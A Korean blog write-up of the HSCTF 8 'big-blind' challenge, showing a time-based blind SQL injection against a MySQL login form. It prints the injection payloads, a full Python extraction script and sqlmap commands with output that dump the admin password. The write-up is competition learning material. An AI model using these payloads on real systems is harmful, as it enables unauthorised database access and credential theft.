-
[Clear] HSCTF 8 web/big-blind WriteupCTF/HSCTF 8 2021. 6. 20. 03:36
대회에서 되게 오랜만이었던 Sql-injection 문제였다.
문제 이름괴 주어진 페이지에 로그인 창이 있는 것으로 보아 blind sql injection 문제임을 유추 할 수 있다.
우선 DB의 종류를 파악해보자.
위 자료를 참고하여 #은 허용되면서 -- 를 허용하지 않는다는 것을 근거로 MySQL 일 것이라고 추측하였다.
# 는 허용 되지만, -- 는 허용되지 않는다. 이제 blind sql injection 기법을 통해 password 를 찾아야하는데, 서버의 응답 값은 구문 에러가 없을 시,
TODO: Do something here.
을 출력하거나 구문에 이상이 있을 시 500 Error Code를 리턴해줄 뿐이었다.
따라서, Time based blind injection 을 통해 패스워드를 추출해보기로 하였다.
우선, 테스트 구문은
' or case when (select length(table_name) from information_schema.tables limit 0,1)=11 then sleep(3) else sleep(0) end#
였고 3초 뒤에 응답이 온 것으로 보아 조건 만족 시 입력한 쿼리가 정상적으로 작동함을 확인 할 수 있었다.
time based blind injection이 가능함을 알았다. 첫 번째 단계로
query = "' or (select ascii(substring(database(),"+str(i+1)+",1))="+str(127-j)+") and sleep(5)#" ### db_name
를 활용하여 db이름을 확인하였다.
query = "' or case when (select length(table_name) from information_schema.tables where table_type='base table' and table_schema='db' limit "+str(k)+",1)="+str(j)+" then sleep(6) else sleep(0) end#" >> table_length
를 통해 table_name의 길이를,
table_name의 길이는 5 이다. query = "' or case when ascii(substr((select table_name from information_schema.tables where table_type='base table' and table_schema='db' limit "+str(k)+",1),"+str(i+1)+",1))="+str(126-j)+" then sleep(6) else sleep(0) end#"
를 통해 table_name을,
table_name은 users ! query = "' or case when (select length(column_name) from information_schema.columns where table_name='users' and table_schema='db' limit "+str(k)+",1)="+str(j)+" then sleep(6) else sleep(0) end#" #### column_length
를 통해 각 column의 길이를,
column의 길이가 44가 아니라 "첫 번째의 column 길이4", "두번째의 column 길이 4" 이다. 코드를 수정해가며 사용하는 과정에서 출력 방법을 수정하는걸 깜빡했다. query = "' or case when ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema='db' limit "+str(k+1)+",1),"+str(i+1)+",1))="+str(126-j)+" then sleep(6) else sleep(0) end#" #### column_name
를 통해 각 column의 이름을 구할 수 있었다.
column 1 = user column 2 = pass (user, pass .. 그냥 패킷의 파라미터명과 똑같았다.. 눈치가 빨랐더라면 더 빨리 풀 수 있었을 것 같다.)
마지막으로
query = "' or case when ascii(substr((select pass from db.users where user='admin'),"+str(i+1)+",1))="+str(126-j)+" then sleep(10) else sleep(0) end#" #### get data
를 통해 flag인 pass의 값을 출력 할 수 있었다.
위 쿼리를 활용 할 수 있는 전체 exploit 코드는 아래와 같다.
import requests, time, urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) url = "https://big-blind.hsc.tf/" for k in range(1) : ####### edit k, i , j table_name='' for i in range(50) : for j in range(126) : if(126-j) ==32: break #db ##db_name #query = "' or (select ascii(substring(database(),"+str(i+1)+",1))="+str(127-j)+") and sleep(5)#" #table ##table_length #query = "' or case when (select length(table_name) from information_schema.tables where table_type='base table' and table_schema='db' limit "+str(k)+",1)="+str(j)+" then sleep(6) else sleep(0) end#" #### table_length ##table_name #query = "' or case when ascii(substr((select table_name from information_schema.tables where table_type='base table' and table_schema='db' limit "+str(k)+",1),"+str(i+1)+",1))="+str(126-j)+" then sleep(6) else sleep(0) end#" #### table_name #column ##column_length #query = "' or case when (select length(column_name) from information_schema.columns where table_name='users' and table_schema='db' limit "+str(k)+",1)="+str(j)+" then sleep(6) else sleep(0) end#" #### table_length ##column_name #query = "' or case when ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema='db' limit "+str(k+1)+",1),"+str(i+1)+",1))="+str(126-j)+" then sleep(6) else sleep(0) end#" #### column_name #data query = "' or case when ascii(substr((select pass from db.users where user='admin'),"+str(i+1)+",1))="+str(126-j)+" then sleep(10) else sleep(0) end#" #### get data data = {'user': query, 'pass': 'pass'} try: response = requests.post(url, data=data, verify=False, timeout=3) #time.sleep(3) if "TODO:" in response.text : pass else : print(response.text) except requests.Timeout: ## edit for print result table_name += chr(126-j) print("-------------------------------------------------") print("Hit!") print(query) print("Timeout! Password : "+table_name) print("-------------------------------------------------") break
FLAG = flag{any_info_is_good_info}
레퍼런스:
https://m.blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=gglee0127&logNo=221271644309
데이터베이스 종류별 SQL 주석 종류
※ Sybase IQ % 주석은 Percent_as_comment 옵션 값이 on 이어야 합니다.
blog.naver.com
https://crattack.tistory.com/entry/WEB-Blind-SQL-Injection-%EA%B3%B5%EA%B2%A9-%EB%B0%A9%EB%B2%95
[WEB] Blind SQL Injection 공격 방법
참고 - http://blog.naver.com/funny303/220778035079 - http://pypie.tistory.com/entry/Blind-SQL-Injection - http://www.securityidiots.com/Web-Pentest/SQL-Injection/Blind-SQL-Injection.html 1. SQL Inje..
crattack.tistory.com
https://cloud.google.com/bigquery/docs/information-schema-tables?hl=ko
INFORMATION_SCHEMA를 사용하여 테이블 메타데이터 가져오기 | BigQuery | Google Cloud
INFORMATION_SCHEMA에는 테이블 메타데이터에 대한 다음과 같은 뷰가 포함되어 있습니다. 테이블 메타데이터의 TABLES 및 TABLE_OPTIONS 열 및 필드 메타데이터의 COLUMNS 및 COLUMN_FIELD_PATHS 테이블 파티션 관
cloud.google.com
Blind SQL Injection
Boolean-based Blind SQL Injection 쿼리 실행 결과의 ``sql True / False`` 여부에 따라 response가 다르다면, Boolean-based Blind를 사용할 수 있다. 꼭 로그인에 성공해야 ``sql True``인 것은 아니다. q..
umbum.dev
----------------------------------------------------------------------------------------------------------------------Sqlmap을 활용한 풀이도 있었다.
https://github.com/satoki/ctf_writeups/tree/master/HSCTF_8/big-blind
satoki/ctf_writeups
CTFの解法をまとめる。. Contribute to satoki/ctf_writeups development by creating an account on GitHub.
github.com
$ python sqlmap.py -u "https://big-blind.hsc.tf/" --method POST --data "user=1&pass=2" --level 2 --dbs ~~~ available databases [4]: [*] db [*] information_schema [*] mysql [*] performance_schema ~~~ $ python sqlmap.py -u "https://big-blind.hsc.tf/" --method POST --data "user=1&pass=2" --level 2 --time-sec 2 --technique T -D db --tables ~~~ Database: db [1 table] +-------+ | users | +-------+ ~~~ ~~~ $ python sqlmap.py -u "https://big-blind.hsc.tf/" --method POST --data "user=1&pass=2" --level 2 --time-sec 2 --technique T -D db -T users --columns ~~~ Database: db Table: users [2 columns] +--------+--------------+ | Column | Type | +--------+--------------+ | user | varchar(255) | | pass | varchar(255) | +--------+--------------+ ~~~ $ python sqlmap.py -u "https://big-blind.hsc.tf/" --method POST --data "user=1&pass=2" --level 2 --time-sec 2 --technique T -D db -T users -C user --dump ~~~ Database: db Table: users [1 entry] +--------+ | user | +--------+ | admin | +--------+ ~~~ $ python sqlmap.py -u "https://big-blind.hsc.tf/" --method POST --data "user=1&pass=2" --level 2 --time-sec 2 --technique T -D db -T users -C pass --dump ~~~ Database: db Table: users [1 entry] +-----------------------------+ | pass | +-----------------------------+ | flag{any_info_is_good_info} | +-----------------------------+ ~~~
반응형'CTF > HSCTF 8' 카테고리의 다른 글
[Clear] HSCTF 8 misc/glass-windows Writeup (0) 2021.06.17 [Clear] HSCTF 8 web/digits-of-pi Writeup (0) 2021.06.17